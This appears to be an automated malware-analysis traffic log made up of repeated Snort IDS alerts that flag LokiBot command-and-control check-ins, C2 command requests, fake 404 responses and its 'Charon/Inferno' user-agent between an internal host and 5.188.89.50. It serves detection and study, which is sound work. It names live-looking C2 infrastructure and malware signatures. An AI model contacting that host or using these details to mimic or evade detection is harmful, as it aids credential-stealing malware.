Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.22:49185 -> 5.188.89.50:80
Source: Traffic	Snort IDS: 2025483 ET TROJAN LokiBot Fake 404 Response 5.188.89.50:80 -> 192.168.2.22:49185
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.22:49186 -> 5.188.89.50:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.22:49186 -> 5.188.89.50:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.22:49186 -> 5.188.89.50:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.22:49186 -> 5.188.89.50:80
Source: Traffic	Snort IDS: 2025483 ET TROJAN LokiBot Fake 404 Response 5.188.89.50:80 -> 192.168.2.22:49186
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.22:49187 -> 5.188.89.50:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.22:49187 -> 5.188.89.50:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.22:49187 -> 5.188.89.50:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.22:49187 -> 5.188.89.50:80
Source: Traffic	Snort IDS: 2025483 ET TROJAN LokiBot Fake 404 Response 5.188.89.50:80 -> 192.168.2.22:49187
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.22:49188 -> 5.188.89.50:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.22:49188 -> 5.188.89.50:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.22:49188 -> 5.188.89.50:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.22:49188 -> 5.188.89.50:80
Source: Traffic	Snort IDS: 2025483 ET TROJAN LokiBot Fake 404 Response 5.188.89.50:80 -> 192.168.2.22:49188
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.22:49189 -> 5.188.89.50:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.22:49189 -> 5.188.89.50:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.22:49189 -> 5.188.89.50:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.22:49189 -> 5.188.89.50:80
Source: Traffic	Snort IDS: 2025483 ET TROJAN LokiBot Fake 404 Response 5.188.89.50:80 -> 192.168.2.22:49189
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.22:49190 -> 5.188.89.50:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.22:49190 -> 5.188.89.50:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.22:49190 -> 5.188.89.50:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.22:49190 -> 5.188.89.50:80
Source: Traffic	Snort IDS: 2025483 ET TROJAN LokiBot Fake 404 Response 5.188.89.50:80 -> 192.168.2.22:49190
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.22:49191 -> 5.188.89.50:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.22:49191 -> 5.188.89.50:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.22:49191 -> 5.188.89.50:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.22:49191 -> 5.188.89.50:80
Source: Traffic	Snort IDS: 2025483 ET TROJAN LokiBot Fake 404 Response 5.188.89.50:80 -> 192.168.2.22:49191
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.22:49192 -> 5.188.89.50:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.22:49192 -> 5.188.89.50:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.22:49192 -> 5.188.89.50:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.22:49192 -> 5.188.89.50:80
Source: Traffic	Snort IDS: 2025483 ET TROJAN LokiBot Fake 404 Response 5.188.89.50:80 -> 192.168.2.22:49192
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.22:49193 -> 5.188.89.50:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.22:49193 -> 5.188.89.50:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.22:49193 -> 5.188.89.50:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.22:49193 -> 5.188.89.50:80
Source: Traffic	Snort IDS: 2025483 ET TROJAN LokiBot Fake 404 Response 5.188.89.50:80 -> 192.168.2.22:49193
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.22:49194 -> 5.188.89.50:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.22:49194 -> 5.188.89.50:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.22:49194 -> 5.188.89.50:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.22:49194 -> 5.188.89.50:80
Source: Traffic	Snort IDS: 2025483 ET TROJAN LokiBot Fake 404 Response 5.188.89.50:80 -> 192.168.2.22:49194
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.22:49195 -> 5.188.89.50:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.22:49195 -> 5.188.89.50:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.22:49195 -> 5.188.89.50:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.22:49195 -> 5.188.89.50:80
Source: Traffic	Snort IDS: 2025483 ET TROJAN LokiBot Fake 404 Response 5.188.89.50:80 -> 192.168.2.22:49195
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.22:49196 -> 5.188.89.50:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.22:49196 -> 5.188.89.50:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.22:49196 -> 5.188.89.50:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.22:49196 -> 5.188.89.50:80
Source: Traffic	Snort IDS: 2025483 ET TROJAN LokiBot Fake 404 Response 5.188.89.50:80 -> 192.168.2.22:49196
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.22:49197 -> 5.188.89.50:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.22:49197 -> 5.188.89.50:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.22:49197 -> 5.188.89.50:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.22:49197 -> 5.188.89.50:80
Source: Traffic	Snort IDS: 2025483 ET TROJAN LokiBot Fake 404 Response 5.188.89.50:80 -> 192.168.2.22:49197
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.22:49198 -> 5.188.89.50:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.22:49198 -> 5.188.89.50:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.22:49198 -> 5.188.89.50:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.22:49198 -> 5.188.89.50:80
Source: Traffic	Snort IDS: 2025483 ET TROJAN LokiBot Fake 404 Response 5.188.89.50:80 -> 192.168.2.22:49198
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.22:49199 -> 5.188.89.50:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.22:49199 -> 5.188.89.50:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.22:49199 -> 5.188.89.50:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.22:49199 -> 5.188.89.50:80
Source: Traffic	Snort IDS: 2025483 ET TROJAN LokiBot Fake 404 Response 5.188.89.50:80 -> 192.168.2.22:49199
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.22:49200 -> 5.188.89.50:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.22:49200 -> 5.188.89.50:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.22:49200 -> 5.188.89.50:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.22:49200 -> 5.188.89.50:80
Source: Traffic	Snort IDS: 2025483 ET TROJAN LokiBot Fake 404 Response 5.188.89.50:80 -> 192.168.2.22:49200
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.22:49201 -> 5.188.89.50:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.22:49201 -> 5.188.89.50:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.22:49201 -> 5.188.89.50:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.22:49201 -> 5.188.89.50:80
Source: Traffic	Snort IDS: 2025483 ET TROJAN LokiBot Fake 404 Response 5.188.89.50:80 -> 192.168.2.22:49201
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.22:49202 -> 5.188.89.50:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.22:49202 -> 5.188.89.50:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.22:49202 -> 5.188.89.50:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.22:49202 -> 5.188.89.50:80
Source: Traffic	Snort IDS: 2025483 ET TROJAN LokiBot Fake 404 Response 5.188.89.50:80 -> 192.168.2.22:49202
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.22:49203 -> 5.188.89.50:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.22:49203 -> 5.188.89.50:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.22:49203 -> 5.188.89.50:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.22:49203 -> 5.188.89.50:80
Source: Traffic	Snort IDS: 2025483 ET TROJAN LokiBot Fake 404 Response 5.188.89.50:80 -> 192.168.2.22:49203
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.22:49204 -> 5.188.89.50:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.22:49204 -> 5.188.89.50:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.22:49204 -> 5.188.89.50:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.22:49204 -> 5.188.89.50:80
Source: Traffic	Snort IDS: 2025483 ET TROJAN LokiBot Fake 404 Response 5.188.89.50:80 -> 192.168.2.22:49204
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.22:49205 -> 5.188.89.50:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.22:49205 -> 5.188.89.50:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.22:49205 -> 5.188.89.50:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.22:49205 -> 5.188.89.50:80
Source: Traffic	Snort IDS: 2025483 ET TROJAN LokiBot Fake 404 Response 5.188.89.50:80 -> 192.168.2.22:49205
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.22:49206 -> 5.188.89.50:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.22:49206 -> 5.188.89.50:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.22:49206 -> 5.188.89.50:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.22:49206 -> 5.188.89.50:80
Source: Traffic	Snort IDS: 2025483 ET TROJAN LokiBot Fake 404 Response 5.188.89.50:80 -> 192.168.2.22:49206
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.22:49207 -> 5.188.89.50:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.22:49207 -> 5.188.89.50:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.22:49207 -> 5.188.89.50:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.22:49207 -> 5.188.89.50:80
Source: Traffic	Snort IDS: 2025483 ET TROJAN LokiBot Fake 404 Response 5.188.89.50:80 -> 192.168.2.22:49207
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.22:49208 -> 5.188.89.50:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.22:49208 -> 5.188.89.50:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.22:49208 -> 5.188.89.50:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.22:49208 -> 5.188.89.50:80
Source: Traffic	Snort IDS: 2025483 ET TROJAN LokiBot Fake 404 Response 5.188.89.50:80 -> 192.168.2.22:49208
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.22:49209 -> 5.188.89.50:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.22:49209 -> 5.188.89.50:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.22:49209 -> 5.188.89.50:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.22:49209 -> 5.188.89.50:80
Source: Traffic	Snort IDS: 2025483 ET TROJAN LokiBot Fake 404 Response 5.188.89.50:80 -> 192.168.2.22:49209
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.22:49210 -> 5.188.89.50:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.22:49210 -> 5.188.89.50:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.22:49210 -> 5.188.89.50:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.22:49210 -> 5.188.89.50:80
Source: Traffic	Snort IDS: 2025483 ET TROJAN LokiBot Fake 404 Response 5.188.89.50:80 -> 192.168.2.22:49210
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.22:49211 -> 5.188.89.50:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.22:49211 -> 5.188.89.50:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.22:49211 -> 5.188.89.50:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.22:49211 -> 5.188.89.50:80
Source: Traffic	Snort IDS: 2025483 ET TROJAN LokiBot Fake 404 Response 5.188.89.50:80 -> 192.168.2.22:49211
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.22:49212 -> 5.188.89.50:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.22:49212 -> 5.188.89.50:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.22:49212 -> 5.188.89.50:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.22:49212 -> 5.188.89.50:80
Source: Traffic	Snort IDS: 2025483 ET TROJAN LokiBot Fake 404 Response 5.188.89.50:80 -> 192.168.2.22:49212
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.22:49213 -> 5.188.89.50:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.22:49213 -> 5.188.89.50:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.22:49213 -> 5.188.89.50:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.22:49213 -> 5.188.89.50:80
Source: Traffic	Snort IDS: 2025483 ET TROJAN LokiBot Fake 404 Response 5.188.89.50:80 -> 192.168.2.22:49213
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.22:49214 -> 5.188.89.50:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.22:49214 -> 5.188.89.50:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.22:49214 -> 5.188.89.50:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.22:49214 -> 5.188.89.50:80
Source: Traffic	Snort IDS: 2025483 ET TROJAN LokiBot Fake 404 Response 5.188.89.50:80 -> 192.168.2.22:49214
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.22:49215 -> 5.188.89.50:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.22:49215 -> 5.188.89.50:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.22:49215 -> 5.188.89.50:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.22:49215 -> 5.188.89.50:80
Source: Traffic	Snort IDS: 2025483 ET TROJAN LokiBot Fake 404 Response 5.188.89.50:80 -> 192.168.2.22:49215
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.22:49216 -> 5.188.89.50:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.22:49216 -> 5.188.89.50:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.22:49216 -> 5.188.89.50:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.22:49216 -> 5.188.89.50:80
Source: Traffic	Snort IDS: 2025483 ET TROJAN LokiBot Fake 404 Response 5.188.89.50:80 -> 192.168.2.22:49216
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.22:49217 -> 5.188.89.50:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.22:49217 -> 5.188.89.50:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.22:49217 -> 5.188.89.50:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.22:49217 -> 5.188.89.50:80
Source: Traffic	Snort IDS: 2025483 ET TROJAN LokiBot Fake 404 Response 5.188.89.50:80 -> 192.168.2.22:49217
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.22:49218 -> 5.188.89.50:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.22:49218 -> 5.188.89.50:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.22:49218 -> 5.188.89.50:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.22:49218 -> 5.188.89.50:80
Source: Traffic	Snort IDS: 2025483 ET TROJAN LokiBot Fake 404 Response 5.188.89.50:80 -> 192.168.2.22:49218
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.22:49219 -> 5.188.89.50:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.22:49219 -> 5.188.89.50:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.22:49219 -> 5.188.89.50:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.22:49219 -> 5.188.89.50:80
Source: Traffic	Snort IDS: 2025483 ET TROJAN LokiBot Fake 404 Response 5.188.89.50:80 -> 192.168.2.22:49219
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.22:49220 -> 5.188.89.50:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.22:49220 -> 5.188.89.50:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.22:49220 -> 5.188.89.50:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.22:49220 -> 5.188.89.50:80
Source: Traffic	Snort IDS: 2025483 ET TROJAN LokiBot Fake 404 Response 5.188.89.50:80 -> 192.168.2.22:49220
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.22:49221 -> 5.188.89.50:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.22:49221 -> 5.188.89.50:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.22:49221 -> 5.188.89.50:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.22:49221 -> 5.188.89.50:80
Source: Traffic	Snort IDS: 2025483 ET TROJAN LokiBot Fake 404 Response 5.188.89.50:80 -> 192.168.2.22:49221
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.22:49222 -> 5.188.89.50:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.22:49222 -> 5.188.89.50:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.22:49222 -> 5.188.89.50:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.22:49222 -> 5.188.89.50:80
Source: Traffic	Snort IDS: 2025483 ET TROJAN LokiBot Fake 404 Response 5.188.89.50:80 -> 192.168.2.22:49222
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.22:49223 -> 5.188.89.50:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.22:49223 -> 5.188.89.50:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.22:49223 -> 5.188.89.50:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.22:49223 -> 5.188.89.50:80
Source: Traffic	Snort IDS: 2025483 ET TROJAN LokiBot Fake 404 Response 5.188.89.50:80 -> 192.168.2.22:49223
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.22:49224 -> 5.188.89.50:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.22:49224 -> 5.188.89.50:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.22:49224 -> 5.188.89.50:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.22:49224 -> 5.188.89.50:80
Source: Traffic	Snort IDS: 2025483 ET TROJAN LokiBot Fake 404 Response 5.188.89.50:80 -> 192.168.2.22:49224
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.22:49225 -> 5.188.89.50:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.22:49225 -> 5.188.89.50:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.22:49225 -> 5.188.89.50:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.22:49225 -> 5.188.89.50:80
Source: Traffic	Snort IDS: 2025483 ET TROJAN LokiBot Fake 404 Response 5.188.89.50:80 -> 192.168.2.22:49225
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.22:49226 -> 5.188.89.50:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.22:49226 -> 5.188.89.50:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.22:49226 -> 5.188.89.50:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.22:49226 -> 5.188.89.50:80
Source: Traffic	Snort IDS: 2025483 ET TROJAN LokiBot Fake 404 Response 5.188.89.50:80 -> 192.168.2.22:49226
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.22:49227 -> 5.188.89.50:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.22:49227 -> 5.188.89.50:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.22:49227 -> 5.188.89.50:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.22:49227 -> 5.188.89.50:80
Source: Traffic	Snort IDS: 2025483 ET TROJAN LokiBot Fake 404 Response 5.188.89.50:80 -> 192.168.2.22:49227
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.22:49228 -> 5.188.89.50:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.22:49228 -> 5.188.89.50:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.22:49228 -> 5.188.89.50:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.22:49228 -> 5.188.89.50:80
Source: Traffic	Snort IDS: 2025483 ET TROJAN LokiBot Fake 404 Response 5.188.89.50:80 -> 192.168.2.22:49228
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.22:49229 -> 5.188.89.50:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.22:49229 -> 5.188.89.50:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.22:49229 -> 5.188.89.50:80
